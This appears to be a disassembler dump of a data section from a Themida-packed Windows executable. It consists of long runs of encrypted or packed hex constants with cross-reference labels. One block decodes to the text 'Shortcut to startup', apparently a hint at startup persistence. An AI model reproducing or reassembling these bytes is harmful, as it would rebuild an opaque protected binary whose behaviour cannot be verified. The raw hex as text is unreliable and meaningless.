		dd 88A824B4h, 8C8C302Eh, 0E4F4E73h, 0E1B6BF08h,	0C2A68FBh
		dd 80659FC7h, 0DC8C8135h, 0AE9E51C5h, 507692CAh, 6594F926h
		dd 8C8C1876h, 64D90C5Fh, 8C8C0636h, 0D14F5E15h,	88A8EDBCh
		dd 88A884B4h, 8C8C6020h, 564F6570h, 7837898h, 8C8C0C33h
		dd 8C8C8F3Ah, 4D0D0335h, 0FB0A1302h, 8A0CCF54h,	78C6035h
		dd 9895D9A0h, 8C8DA033h, 1C750C35h, 84646665h, 0B78C0335h
		dd 67FD7703h, 64A9F1F5h, 8C8C6032h, 4E0E1A25h, 0D34BB4A4h
		dd 46076A6Bh, 4F0D9654h, 0B1E67C8Ch, 0C8E63CB8h, 101C62Ch
		dd 8A952958h, 0EAD9138Dh, 8D091B42h, 0A78A182Ch, 348C32FAh
		dd 8805F20Dh, 3398ADF7h, 43C3098Eh, 0CA708A96h,	1439A510h
		dd 0B08A9840h, 0F305E983h, 0B96658A4h, 66508CDFh, 0F5FD68Bh
		dd 888h, 9D8B5000h, 6140BF5h, 0B59D8B59h, 0B06142Ch, 4F840FC0h
		dd 8B000000h, 1431959Dh, 79B58D06h, 0BF06144Dh,	31C5AD5Dh
		dd 3B8h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1604h, 0C3554500h, 0F04E12Dh, 0D8Ch,	8E900h,	86310000h
		dd 0B989DAFDh, 0E6FF4E98h, 4DBD8Bh, 80400614h, 0C08B52E2h
		dd 1941958Bh, 0BD830614h, 61430B1h, 83097500h, 141AE1BDh
		dd 19740006h, 0C08B5350h, 403B8h, 0C1858900h, 8D061430h
		dd 16B7A19Dh, 5BD3FF06h, 0E1BD8358h, 6141Ah, 53501774h
		dd 403B8h, 0C1858900h, 8D061430h, 16B4429Dh, 5BD3FF06h
		dd 50006A58h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 0E9F88D40h, 0F51D38B4h, 9D337C5Bh, 6140F6Dh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0E8C35141h
		dd 2A75BDF2h, 6E3A9AB5h, 0F98B665Ah, 223DBD8Bh,	0C08B0614h
		dd 6CE1B966h, 448D8D61h, 8906194Bh, 141B71B5h, 298D8906h
		dd 0B4061432h, 4D85C721h, 0F0061406h, 6A00006Dh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 8981C357h, 1422358Dh, 7185C706h, 61426h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 2914C351h, 14265995h, 19B5FF06h, 0F061423h
		dd 485h, 68B86600h, 6195FF4Fh, 0B8061423h, 50B34740h, 95FF006Ah
		db 69h,	11h, 14h
byte_59D723	db 6			; DATA XREF: Themida_:0054AE14o
		dd 1EEBC08Bh, 0FC473DEEh, 1EB048A2h, 83E3CFD7h,	22FA2CDh
		dd 0B1D28087h, 0A8DA9290h, 0A9BE38FFh, 8D8DF969h, 6194C00h
		dd 13DDB589h, 8D890614h, 6143229h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 0FEC35343h,	0F1214DB3h, 0C3BF0F6Eh
		dd 64D85C7h, 71700614h,	0BD8B0000h, 614109Dh, 267185C7h
		dd 614h, 0BD8B0000h, 6142D05h, 0D49B5FFh, 95010614h, 6140E15h
		dd 236195FFh, 6A0614h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 8C20FEC3h, 0F2C36B70h, 820FD5F6h
		dd 0
		dd 95FF006Ah, 6141169h,	49EBC08Bh, 8B3BD6B5h, 374F8958h
		dd 197CF544h, 485F2A17h, 24407AA7h, 0B6C16A88h,	63C9AC73h
		dd 0BB864767h, 29C3B808h, 0E7368A6Bh, 7BD3E0D1h, 406561FEh
		dd 0C32A9319h, 3900823h, 0B1277CFBh, 852A6553h,	28637CD7h
		dd 151CD69Ch, 8E8BEh
		db 2 dup(0)
word_59D832	dw 0D247h		; DATA XREF: Themida_:00549B14o
		dd 0C2E2C11Eh, 5EFCE0B1h, 0F35B501h, 0C6810614h, 748Bh
		dd 38DBD29h, 0B80614h, 0FC000000h, 80063C8Bh, 0F781FCEEh
		dd 7D2E7CA9h, 31A58D33h, 0C7810614h, 66ABE377h,	263D8D8Bh
		dd 0F7810614h, 38D16957h, 2FB98D33h, 3C890614h,	419D0306h
		dd 0B106142Ch, 4E88313h, 6840Fh, 8D010000h, 6141111h, 8BE4F881h
		dd 850FFFFFh, 0FFFFFFB0h, 0CE8F5h, 0DB70000h, 8CC25F64h
		dd 7533DC1Ah, 0BD898940h, 61405B1h, 159D8B59h, 81061421h
		dd 6E48C1h, 1423BA00h, 0F28147DEh, 47DE0F7Dh, 150DB58Bh
		dd 398B0614h, 41B589h, 0F7810614h, 3D20CE8Ah, 34A59D8Bh
		dd 0C7810614h, 6B5A1B8Ch, 0C781DF8Bh, 52857F22h, 1870Fh
		dd 57F90000h, 0AE85760h, 45000000h, 0DF9FD5Fh, 0C0BAB666h
		dd 0FC595836h, 89018F61h, 1400ED8Dh, 3CE98106h,	0F0F5560h
		dd 682h, 959D0900h, 81061431h, 556038C1h, 0CE90Fh, 0B64C0000h
		dd 5B31BE10h, 944578h, 0EA830956h, 14850F01h, 66000000h
		dd 9B6CE081h, 21E9h, 637CD700h,	1CD69C28h, 8BFCBE15h, 0FF6CE9F7h
		dd 8562FFFFh, 0D89F0BDFh, 0B70B371Ch, 4A7AD181h
		db 0E8h, 67h
word_59D97E	dw 8D8Dh		; DATA XREF: Themida_:00548CCCo
		dd 6194E2Dh, 0A6CB8166h, 298D8923h, 66061432h, 0BD2BFA8Bh
		dd 61406BDh, 64D85C7h, 5E200614h, 0F510000h, 683h, 0C19D8900h
		dd 58061400h, 6810Fh, 858B0000h, 6143129h, 267185C7h, 614h
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
		dd 57470000h, 2E9ECBC3h, 0DA81FC60h, 463D7096h,	71B5FF61h
		dd 89061410h, 142A398Dh, 6195FF06h, 9061423h, 141B1D95h
		dd 0FF006A06h, 14116995h
dword_59DA0C	dd 0EBC08B06h, 79F7640Fh, 8E91436h, 512E1B66h, 3935253Fh
					; DATA XREF: Themida_:0054B618o
		dd 0B0E9h, 8C666000h, 4C2F6DAh,	0C850Fh, 853B0000h, 6141145h
		dd 36840Fh, 853B0000h, 6140931h, 2A840Fh, 853B0000h, 6143481h
		dd 1E840Fh, 853B0000h, 61431FDh, 12840Fh, 0BD830000h, 6142C59h
		dd 5840F01h, 0E9000000h, 5Fh, 5203D08Bh, 88BA8B3Ch, 8B000000h
		dd 0C985784Ah, 49840Fh,	0C2810000h, 0F8h, 30C728Bh, 1C598BC8h
		dd 314518Bh, 850B8BD8h,	10840FC9h, 3B000000h, 17820FCEh
		dd 3B000000h, 0F830FCFh, 83000000h, 0F4A04C3h, 0FFFFDC85h
		dd 0DE9FFh, 9D8D0000h, 6144D79h, 5B8h, 61E3FF00h, 8DD00BC3h
		dd 142E5D9Dh, 2AB806h, 85890000h, 614265Dh, 0E8h, 0D055800h
		dd 89000000h, 2AE903h
		db 2 dup(0)
word_59DAFA	dw 0			; DATA XREF: Themida_:0054BA3Co
		dd 9 dup(77E6h), 0FFFF77E6h, 14E8h, 0F9144600h,	0B2362F96h
		dd 9A08DD03h, 8A2B001Fh, 6CC5DF6h, 5E36B4FCh, 0C681E78Ah
		dd 69E8h, 4E68C38Ah, 5300001Ah,	1C84C381h, 5A587584h, 14E9h
		dd 0FC8A0900h, 0D79C3717h, 3D91358Dh, 74048140h, 0B460853Dh
		dd 0E93E8B21h, 0Ah, 222462D8h, 33F04211h, 0EF8178C9h, 501DA5D9h
		dd 8E9h, 77EB7E00h, 67BAE7F9h, 55EF8174h, 8B62D571h, 0F2F781CFh
		dd 667DD0EAh, 89883ABBh, 7E93Eh, 0C40000h, 0FF662426h
		dd 1EE8316h, 4EC6D980h,	66604E4Eh, 66007EBFh, 4A61DA8Bh
		dd 0FFA3850Fh, 6660FFFFh, 0F29CCA81h, 8A0F52h
		db 0
byte_59DBD9	db 2 dup(0), 5Ah	; DATA XREF: Themida_:0054A294o
		dd 74E961h, 117A0000h, 68537E19h, 6374726Fh, 74207475h
		dd 7473206Fh, 75747261h, 70h, 16h dup(0)
		dd 69E90000h, 6800000Fh, 6195219h, 0FBF641E9h, 535668FFh
		dd 37E90619h, 68FFFBF6h, 61954BAh, 0FBF62DE9h, 54F968FFh
		dd 23E90619h, 68FFFBF6h, 61955B9h, 0FBF619E9h, 566B68FFh
		dd 0FE90619h, 68FFFBF6h, 6195A92h, 0FBF605E9h, 5D1568FFh
		dd 0FBE90619h, 68FFFBF5h, 6195E5Ah, 0FBF5F1E9h,	155DAFFFh
		dd 98D23044h, 1D4DB3C7h, 9FC9384Ch, 264CBACEh, 0AE9B4055h
		dd 35491A58h, 0BDD1A2CEh, 43572848h, 79DBACBCh,	4A049834h
		dd 29873046h, 0C489ECE4h, 0A3DB9570h, 659EF52Ch, 4226D9E7h
		dd 0AEBA4589h, 0F0F109DDh, 2AA8912Dh, 3CCD3410h, 0F18D1083h
		dd 3041295Dh, 8A164FE0h, 304129F2h, 5B0660C6h, 6FA748B8h
		dd 65ABh, 56AAAD00h, 5FF38FAFh,	0DA2A2CF9h, 7D80B849h
		dd 0B3AC10CCh, 2F474B84h, 96CF6B2Eh, 0DB341103h, 912FBEA3h
		dd 0B0E80252h, 0EF12123Fh, 0F1B445AFh, 0CE07639Dh, 0E141D965h
		dd 33D33041h, 0C042863Fh, 0B3C9F1AAh, 115FA4B3h, 0AEC82E80h
		dd 71CD368Ah, 41E141D5h, 9A2BBC30h, 2D67A0E1h, 6FA8038Ah
		dd 0B87Dh, 26D97F00h, 0C2168942h, 0AEF22B3Dh, 1D611A58h
		dd 89CD86E2h, 0C521F276h, 2A2C0676h, 9A6BFD02h,	6CFC0357h
		dd 0F53972B3h, 32A55E0Ah, 0FD7F13AFh, 69FA2A2Ch, 13142C30h
		dd 23E3B450h, 0D5663410h, 7C9C104h, 0CB5FFBF4h,	4E30410Ch
		dd 4ABE85BDh, 41D29669h, 0EBEC0408h, 2D2A8C28h,	0D0613A28h
		dd 254DB90Dh, 0ACC64054h, 0BB46BCE3h, 9CEA65E0h, 0D1Eh
		dd 87581AF2h, 0ADB8F73h, 8F600AF6h, 11E2867Bh, 986909FDh
		dd 15F15E83h, 8B788C5Dh, 50014E5h, 79869A6Bh, 77BC1EEFh
		dd 464C47DBh, 1464C230h, 82452DD9h, 0DC95D32Eh,	0CDE1629Bh
		dd 9ED23332h, 4213A4E5h, 0CE0119F4h, 2CF99E32h,	0FF90212Ah
		dd 2067A03Ch, 76CA3410h, 0E92AE38Dh, 7C0B055h, 0A93A8DC6h
		dd 13CC64F0h, 3AA03041h, 8A04FC3Ch, 2DBBDBC3h, 0E78AC4FDh
		dd 0DA6FA7ADh, 0F6h, 4226D9DCh,	94D42B7Fh, 58AEF25Bh, 214E6E73h
		dd 0ED12369Fh, 0F081C27Bh, 0EC7A95Ch, 81793CCDh, 7D882691h
		dd 0C1F93AF3h, 23B326E0h, 97C4EEB9h, 56EA738h, 2CD52A79h
		dd 97D12E2Ah, 0E94DB2C6h, 2DC4B94Dh, 5FA0342Ah,	7E0F5009h
		dd 2CD62AEDh, 0BC9D853Eh, 0A013D75Dh, 0EA538C1Dh, 8BDF2377h
		dd 545891D2h, 0A2CB383Ch, 14550E64h, 932FF283h,	3410F6C2h
		dd 9ACE33C7h, 4C643809h, 0CF34884Bh, 0C73FD36Fh, 29BA3041h
		dd 659EDF98h, 82E556F2h, 97283A28h, 21B551D4h, 0AB2A2F73h
		dd 0AC6F1256h, 2F727C10h, 0DD6EFF2Ah, 29DD31A4h, 0A2647849h
		dd 0F49E07D0h, 9C17E0BBh, 0BE14Eh, 95DD2F00h, 1852B0C4h
		dd 9DCD3347h, 1F49B8CCh, 0A6CC3A4Eh, 2E1BC0D5h,	0B5C99AD8h
		dd 3D51224Eh, 0C3D7A8C8h, 0F95B2C3Ch, 4C8418B4h, 0A9073046h
		dd 452DD959h, 0C99F6074h, 26D9AAF8h, 0BA458942h, 0F109DDAEh
		dd 912DF0h, 85341025h, 17AF3BF4h, 0EB30411Dh, 0DD80E185h
		dd 8A6FA73Fh, 0A6D6D792h, 114A86D2h, 7E4h, 37CFE600h, 0FF000008h
		dd 3D000119h, 0B7CA2C45h, 0A8E0A096h, 2AA953E8h, 0E45790BAh
		dd 10EDF748h, 20D96A34h, 744523DCh, 2229F60h, 0BDF2D317h
		dd 87FAB344h, 110B7E8Fh, 8CC5F96Fh, 0F4F18E00h,	3D398D99h
		dd 0D093D52Ah, 2DE6847Ch, 9A5317E9h, 0E8FC859h,	0AA6305FAh
		dd 7DE7851Eh, 7EF85C8Bh, 0B64F16E9h, 51393E13h,	0D9E5684h
		dd 867F1354h, 748859EAh, 0B124DD8Bh, 0FC8A85Dh,	6C0995CEh
		dd 9A8B7D47h, 4AB5A2C4h, 0C6394D1Eh, 520B679Fh,	0C3C78011h
		dd 4BE7AAABh, 0D2BFCAFAh, 0E40DDE6Fh, 40415925h, 0B020E17Dh
		dd 9425CCCBh, 680487BCh, 0C8DC84D4h, 18DC657h, 0AACD64D6h
		dd 0ED1D2EAh, 0CF92AD72h, 46FF9074h, 0BA822A42h, 0F752CBD8h
		dd 9DD330C4h, 4F12A3E4h, 0BEA970B3h, 9A36B97Ah,	6AE9A906h
		dd 6CBFF889h, 3BC418DBh, 0B7485C2Dh, 2285E8B1h,	8B06A005h
		dd 0A7D3Dh, 0F9799300h,	7CEE1428h, 16997ABh, 83E51C30h
		dd 0A689EB2h, 92FF2439h, 192DFE74h, 0A1B586EAh,	273B0C64h
		dd 5DBF90D8h, 4DE87C18h, 5633046h, 4226D9B5h, 0B98D0479h
		dd 0A8F671E0h, 0A3Eh, 67383AD2h, 0EABBAF53h, 6F402AD6h
		dd 0F1C2A65Bh, 784929DDh, 35D1BE63h, 0AB586C3Dh, 25E0F4C5h
		dd 99667A4Bh, 579CFECFh, 464E27BBh, 0F444A230h,	894226D9h
		dd 0E37FC145h, 2A2CF94Fh, 0A04327D9h, 84AD7E0Fh, 0E0E1F985h
		dd 1FC0811Dh, 34C53410h, 87E31D71h, 8B558DCEh, 0B511FA33h
		dd 0DC2AB2EBh, 0EE7E4987h, 75383951h, 0CF88E021h, 6709FA8Eh
		dd 0C1346DAEh, 0B9DA6025h, 934CDDFBh, 3937CC20h, 0E3E4FC00h
		dd 0B418420h, 0B748F5D1h, 625FA0F4h, 75944AC1h,	0F13C2003h
		dd 0D6897CB4h, 9C1FE273h, 0D7E56C00h, 9B5EEFF1h, 0D7E56BFFh
		dd 245DEEF1h, 0F8708FA3h, 1361402Fh, 98E66127h,	97Eh, 27F87A92h
		dd 0AA7BEF13h, 2F006A96h, 0B182E61Bh, 3809699Dh, 7591FE23h
		dd 0EB182CFDh, 65A0B485h, 0D9263A0Bh, 175CBE8Fh, 464EE77Bh
		dd 0B4046230h, 7F4226D9h, 0DA93D72Bh, 0B3F76099h, 0BC50EC52h
		dd 3F2A2CF9h, 591256ABh, 33F68718h, 0BB4423DFh,	22631CADh
		dd 580C68E9h, 0F32A2CF9h, 4D06629Fh, 0B7CFD30Ch, 1C70F3B6h
		dd 8BCC85E3h, 4A2FC652h, 368A3415h, 46679FC9h, 0C48C0982h
		dd 69FA4D86h, 0BBAD52A6h, 665BA4F8h, 0D3F129A4h, 0DF9829B8h
		dd 0D0E4659Eh, 3C80392Fh, 46DA76CAh, 0C93046C8h, 0AAEEA738h
		dd 34C155Bh, 2CE6A043h,	8CC63B1h, 0C8440000h, 3DC5D9AAh
		dd 0B8485C2Dh, 34CDE1B2h, 0B74F6334h, 20D5EABBh, 0DEAFC343h
		dd 663739CAh, 0ECBDB352h, 704127D8h, 992DC90Eh,	1430464Fh
		dd 26D966B6h, 0C2168942h, 2D1A843Dh, 1514236Bh,	518ACB84h
		dd 0B376F20Dh, 7C009430h, 0EA7B2A2Dh, 8AC3AD56h, 4525DD21h
		dd 0B2B8488Ch, 0D096FAF9h, 5FF07887h, 9DCAAC10h, 2B350662h
		dd 69939E88h, 51D7Bh, 1197D00h,	0AA13D00h, 8F34154Ah, 18E73BFEh
		dd 8DAB7F50h, 804FDB94h, 5AA7D1BDh, 4CEF72F4h, 3FE90854h
		dd 54h,	2FB1941h, 0FA0FA33Fh, 0F98A2A2Ch, 67E0B440h, 9C6A4AC3h
		dd 27D91DD6h, 0F3ACC640h, 246821B2h, 96D790E2h,	0E1471F03h
		dd 945BB145h, 0A9B2C4Ah, 4D1452B8h, 89FA7AAAh, 6BFF0357h
		dd 0B3871B2h, 10h, 26E22018h, 0F82C7EB3h, 49CF41BFh, 0FF000002h
		dd 3F02FB19h, 0F98C20BCh, 737A2A2Ch, 6D8A228Ch,	95CE5F02h
		dd 93D1A02Ch, 43A9A1B8h, 669B3E23h, 278EE2FFh, 90000000h
		dd 4902FB19h, 0B86E55BDh, 0C3A309A1h, 0FF84FB9Eh, 0AC54A8E2h
		dd 30C405BEh, 315E97D1h, 81h, 5416EA3Eh, 0FB199D1Bh, 15EB3F02h
		dd 0DA91C55h, 2A2CF979h, 21B551D4h, 9C2A2CFAh, 0EE7FD20Bh
		dd 422ED72Bh, 0EB5FD909h, 0A5F9EE0Ah, 40D40D5Dh, 5B983B26h
		dd 468B6993h, 8D000000h, 1B66B2AAh, 4673EC17h, 0F1E860Eh
		dd 82BB2681h, 0A467607Eh, 2D577208h, 8768F92Ah,	0C184A95Eh
		dd 0DC85B5C9h, 4D8E4729h, 0A3F1F15h, 77B871F7h,	5D19ADE6h
		dd 938C7114h, 76469h, 0CF660000h, 180h,	0C2B2AAFFh, 2E47933Fh
		dd 0EE821EE1h, 712A2D91h, 0D59A7E0h, 89000001h,	4902FB19h
		dd 0DC44FABDh, 3C3AA085h, 49DD79FCh, 0C47F7D3Dh, 1DC0FA33h
		dd 10BEE35Bh, 0C8h, 6AFE9A1Dh, 0F47F7D34h, 61A25B0Dh, 76F42DBEh
		dd 0F78B27AAh, 0DD2A2CF9h, 25127583h
		dd 0CB5CFF8Dh, 77708E92h, 0B38418B4h, 0EFE72A2Dh, 5548C01h
		dd 2425901Eh, 71D84758h, 0C354A7E0h, 13067E0Ah,	74DA4A0Dh
		dd 0E1CC6FF2h, 257989B3h, 27548DDDh, 50h, 922EB134h, 4A4DB2FEh
		dd 8014F081h, 0FB4A4DB2h, 0AAB3316Ah, 8C1AF56h,	9E2F41C4h
		dd 4A436165h, 0F957EB87h, 41D22A2Ch, 2A84FC88h,	13589D0Ch
		dd 0A8CA3C90h, 3ED2AEEFh, 0C1974D27h, 363F730h,	0B345BB5Eh
		dd 2AAED6h, 67BB0000h, 1795CE9Ah, 0F78B27AAh, 722A2CF9h
		dd 0B94A28DEh, 923280h,	756D0000h, 45E17319h, 2A2DA4B1h
		dd 0F3639B2Ch, 2EACE5E7h, 0BCA956AAh, 2E6F284Ah, 6AA3E49Dh
		dd 0D68FD926h, 2CF9B14Ah, 6ABE032Ah, 0DC1DD69Ch, 570FA3h
		dd 4A9869FFh, 0F78B27AAh, 722A2CF9h, 0C199143Ah, 52E3E9A9h
		dd 0FEF71519h, 881CB83Bh, 32A2D7Ah, 65A83972h, 4A820B6Dh
		dd 2B643830h, 7A3DF0D2h, 0DA93DD26h, 0AACC6099h, 2C0A9775h
		dd 58FA842Ah, 3699325h,	0FE50E480h, 3ACB2A2Ch, 0B7B8A602h
		dd 3069A40Fh, 0FFFE9F03h, 5BCF05FFh, 0FF000002h, 0F78B27AAh
		dd 722A2CF9h, 0F97F13AFh, 69FA2A2Ch, 6BB8A0D8h,	0FC091689h
		dd 0E8807FC3h, 5414EB2Fh, 9697AF83h, 674E37D3h,	22B33410h
		dd 745DD69h, 0B3193041h, 250BAEB3h, 48FE6FA7h, 0B000000h
		dd 0E81E49B7h, 5840F98Ah, 5C90CCFDh, 0A43D498h,	1198Ch
		dd 9C2BA3Dh, 0C893DC9Ah, 0E70315FEh, 59D4DFAFh,	0A85B9420h
		dd 0E61E3410h, 675B0A0Ah, 8740D1ABh, 419463FBh,	95D13730h
		dd 0A7B729CCh, 0C11C6Fh, 0D91E0000h, 0A6C23F26h, 1256A9EDh
		dd 0F337F081h, 489C5F13h, 0BAFBB4BEh, 22A51881h, 7D3634CEh
		dd 0F9CC603Ch, 932F2A2Ch, 2A2CF9FFh, 0B546E97Ah, 0A1C7387Ch
		dd 0D5BA4E8h, 591E03Ch,	58A72A2Ch, 0BB74F40Dh, 0D518E97Ah
		dd 35EE8281h, 9FB7BBF4h, 483FDB9Eh, 913413BAh, 1DE93D00h
		dd 96708455h, 3DD013DCh, 7EF9E6AFh, 4A530h, 0D1A16B00h
		dd 5416EC00h, 0D9916F83h, 5B0DF408h, 0E290768Ah, 6AC7FC11h
		dd 0F105D69Ch, 798D5E12h, 0FF13E48Ch, 35976800h, 53C054F0h
		dd 0DD3B3046h, 452DD98Dh, 0C99F6074h, 194FB206h, 0BD51ED60h
		dd 402A2CF9h, 64E51EAFh, 20E32921h, 0AC3AD56h, 6E8C91C9h
		dd 0D9EF6DA6h, 0FC7F4226h, 2CF9CC60h, 0FBBE4F2Ah, 2CF9CB5Fh
		dd 84BD4E2Ah, 4028D71Bh, 82839B6Fh, 0D8986BBFh,	3F902C9Fh
		dd 4234101Ah, 0D26CF8B1h, 0AD304119h, 627A2D49h, 0B1029E61h
		dd 0B43A2439h, 667E5223h, 0FA039733h, 6A952A2Ch, 610445FEh
		dd 0E07C3FD0h, 34154949h, 287C3FD0h, 96D790DAh,	6A96EA5Dh
		dd 1AE93D00h, 599C1D56h, 49A63AD6h, 0C7383046h,	346DFEA1h
		dd 464A16A8h, 0E9196D30h, 5A16ED81h, 4828DD21h,	545977h
		dd 91890000h, 2A2CF9F9h, 0E4B5ACCBh, 813A30D0h,	2CF961F5h
		dd 5414EB2Ah, 1BAE579Bh, 90BC11D9h, 9E57E807h, 2F3B3B9Fh
		dd 63C5A1B7h, 417AF60Fh, 966703FDh, 34ED8382h, 2DB90FA8h
		dd 964A12Ah, 7ABB74FCh,	14EC30E9h, 3A9E9D56h, 0D97D2E3Ch
		dd 353BCA9Dh, 2CD91664h, 0BE478B44h, 4CB5F9B2h,	54F0631Ch
		dd 2A2CF9C0h, 0EF16AA3Bh, 0D92DC881h, 1A7ECD9Dh, 76FA0B5Ch
		dd 14AD49A5h, 0E8722A2Ch, 69932A46h, 0FFFF7A37h, 56AA39FFh
		dd 0C506BFA9h, 0B1B7488Ch, 1D4BB4F8h, 5F60784Ch, 0DBE489Ch
		dd 0E3B5C8BEh, 0FC859AEh, 862295CEh, 3411109Dh,	0A964FE0h
		dd 3041CF72h, 0DB86E046h, 6FA7EE38h, 4B2Bh, 1192D00h, 1CE93D00h
		dd 8356B0ADh, 52E36B29h, 0C2AE5599h, 0FE37C809h, 0E985088Bh
		dd 2A2D9455h, 820E47D8h, 3410BB49h, 36C27B0Ch, 30417A9Eh
		dd 0CE6A0C72h, 0ACE58B7Ah, 0A79DCF72h, 0D7C26Fh, 0D7CF0000h
		dd 5BD4D241h, 1694CD71h, 259B26D9h, 84470E1h, 246CD6F5h
		dd 761486ECh, 1EE82CE5h, 0C3999154h, 96E1D2DDh,	75B9225Bh
		dd 0E125DE8Ah, 1D794A1Eh, 2A2CD1CEh, 0D03035CAh, 0C346099Ah
		dd 2DC19327h, 4C85162Ah, 0CC3488CBh, 4902669Bh,	7DBE7708h
		dd 69FF0044h, 9394ACB0h, 0F1DB34D0h, 0CA5E3410h, 0D2A33436h
		dd 76C83B8Fh, 41F246DAh, 0A738C930h, 78ECC56Fh,	0C801CC37h
		dd 0E8ABACC4h, 28AB534Ch, 4205963Ah, 0AE5718EEh, 37C809C2h
		dd 0BEB45266h, 0BBC0E8F5h, 0FC4AC5E0h, 222h, 83541EEEh
		dd 6D7936Fh, 8B5C0EF2h,	0DDE8A77h, 94650DF9h, 19ED5A7Fh
		dd 8F748859h, 9FC10E1h,	7D829667h, 73B81AEBh, 465743D7h
		dd 1868C630h, 74452DD9h, 0F8C99F60h, 0A956AAAAh, 2C506BFh
		dd 2CF9D266h, 83BC4D2Ah, 0A366677Fh, 0D06505ABh, 398DFFh
		dd 0D4B8F18Dh, 29BD3410h, 98D992D6h, 2AC24E07h,	0FE3041A9h
		dd 69A36B9h, 983041A9h,	7480167h, 69AD364h, 0A945C860h
		dd 3041A915h, 94CE0798h, 6FA7CBF1h, 0FBE4h, 26D9E600h
		dd 0C1458942h, 0FB3F7A0Ah, 0BCC8C78Dh, 8B604D52h, 0FFB849DAh
		dd 2C412473h, 0E682052Ah, 2A2D3852h, 0A4CC39CDh, 0E019AAEBh
		dd 0FF02639Ch, 0DE6FB069h, 6206F90Dh, 0BBB336A9h, 0EE898DC6h
		dd 0B4482429h, 372A2D09h, 7B0C5CA3h, 25263E42h,	3BCF6A62h
		dd 21CA189Eh, 90D18ADEh, 0B753C6FFh, 3411245Eh,	0D8906FC3h
		dd 0BB4ADE1Fh, 82BBFCB5h, 0F9CD9E2Fh, 9A1DE0E1h, 0C3E77B17h
		dd 0D1623041h, 41C361F5h, 884BDC30h, 41C358ECh,	942D330h
		dd 7F20FA96h, 92233A28h, 0E48B7BCFh, 4E924B1Dh,	0BCFDB6B4h
		dd 0B5C99A2Bh, 86E41E51h, 0F3052CF5h, 0F36EE0BBh, 0DDA5h
		dd 99D93300h, 1C4EB4C8h, 0A1C9374Bh, 2345BCD0h,	0AAC83E52h
		dd 321FC4D9h, 0B9CD9ED4h, 4155264Ah, 0C7DBACC4h, 0FD5F3038h
		dd 57881CB8h, 0A5033046h, 452DD955h, 0C99F6074h, 9632B5F8h
		dd 2A2CFA02h, 35B3EC7Dh, 7F4226D9h, 0F9CC60FCh,	0AFBA2A2Ch
		dd 0A92F5E54h, 2059EA8Dh, 0DC8C73B7h, 8E74C80Bh, 0D27A0EAAh
		dd 64F52A2Dh, 7E969AD3h, 3F37BA7Dh, 91009E6Dh, 0C6528B05h
		dd 3415872Bh, 0C436968Eh, 336BFF03h, 1A532BD9h,	397D36C7h
		dd 0BDD1A2C6h, 0E16D2642h, 0A845ABCDh, 76B2B408h, 548DE322h
		dd 0A879EF10h, 44FD6B94h, 0AE670100h, 61F67086h, 0B6F9CA9Eh
		dd 91CAA062h, 0FDB6B24Dh, 1DAFh, 0CB67EA00h, 0A8462837h
		dd 978CFC1Dh, 0F396D49Ch, 0ABAB2962h, 45602E26h, 0E0BA4A15h
		dd 33D929A7h, 0BD42863Fh, 57AEF2ABh, 0E71C6019h, 7A8CD089h
		dd 0BFB3FF8h, 976AAE67h, 2CD418D1h, 0C141853Eh,	68EAF0A9h
		dd 92Dh, 50243C89h, 405E089h, 2D000000h, 4, 5C240487h
		dd 51242C89h, 0C181E189h, 4, 4E981h, 0C870000h,	3C895C24h
		dd 2ABC6824h, 3C890000h, 50D6BF24h, 0FD890619h,	4EC835Fh
		dd 81242489h, 42404h, 535F0000h, 0B850EB89h, 8,	1889F801h
		dd 3C8B5B58h, 0E2895224h, 4C281h, 0C2830000h, 24148704h
		dd 2434FF5Ch, 4C4835Dh,	0FBE6EDE9h, 28758BFFh, 0C9D18EEEh
		dd 38530E1Eh, 195F5CB8h, 0FFC50306h, 0F73981E0h, 0E6BBA772h
		dd 91A36D03h, 6B99F959h, 968D8D16h, 0F061960h, 28Bh, 89DE8B00h
		dd 1432298Dh, 0F9952906h, 0C7061431h, 14064D85h, 5E6C06h
		dd 6830F00h, 8B000000h,	14039985h, 7185C706h, 61426h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 98B5C356h, 458D899Ah, 0FF061408h,	1402E1B5h
		dd 299D8B06h, 0FF06142Dh, 14236195h, 55006A06h,	3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h
		dd 0CB7A8894h, 6AD466h,	116995FFh
		db 14h
byte_59EC75	db 6, 8Bh, 0C0h		; DATA XREF: Themida_:00549424o
		dd 0F0B21DEBh, 1BB87043h, 0F4451808h, 3B23E42Fh, 6EB95786h
		dd 3326C5Fh, 74C2375Dh,	0E97139A3h, 18Eh, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 1Bh, 40C35646h, 0A7FDD57Bh
		dd 0F80CA3D9h, 6174B58Dh, 8C0F0619h, 1,	12858DF5h, 0F06174Ch
		dd 108Ch, 5E96000h, 0D0000000h,	38F88672h, 0FCE4BF66h
		dd 6AD0FF61h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1B042444h, 40000000h, 1929C350h, 0E94D6B3Ah,	830F64F7h
		dd 13h,	0E95F5160h, 0Ah, 0CE4A5836h, 0E5FA750Dh, 0FC6104DCh
		dd 56006AC3h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1B04h
		dd 0C3564600h, 7280E7EFh, 7A6E1AD6h, 66DD8A60h,	6661C28Bh
		dd 880FD98Ch, 0Bh, 6E9h, 5C3B8100h, 60144F50h, 8E9h, 0A2D7BB00h
		dd 0E76833E1h, 80BF6663h, 0C1F661AAh, 60840F04h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 0B8ADC351h, 5830Fh, 66600000h, 8B61CB8Bh
		dd 32CB8BFBh, 0FD75AEC0h, 0D9F7CF2Bh, 0D78BF92Bh, 0EBD98B49h
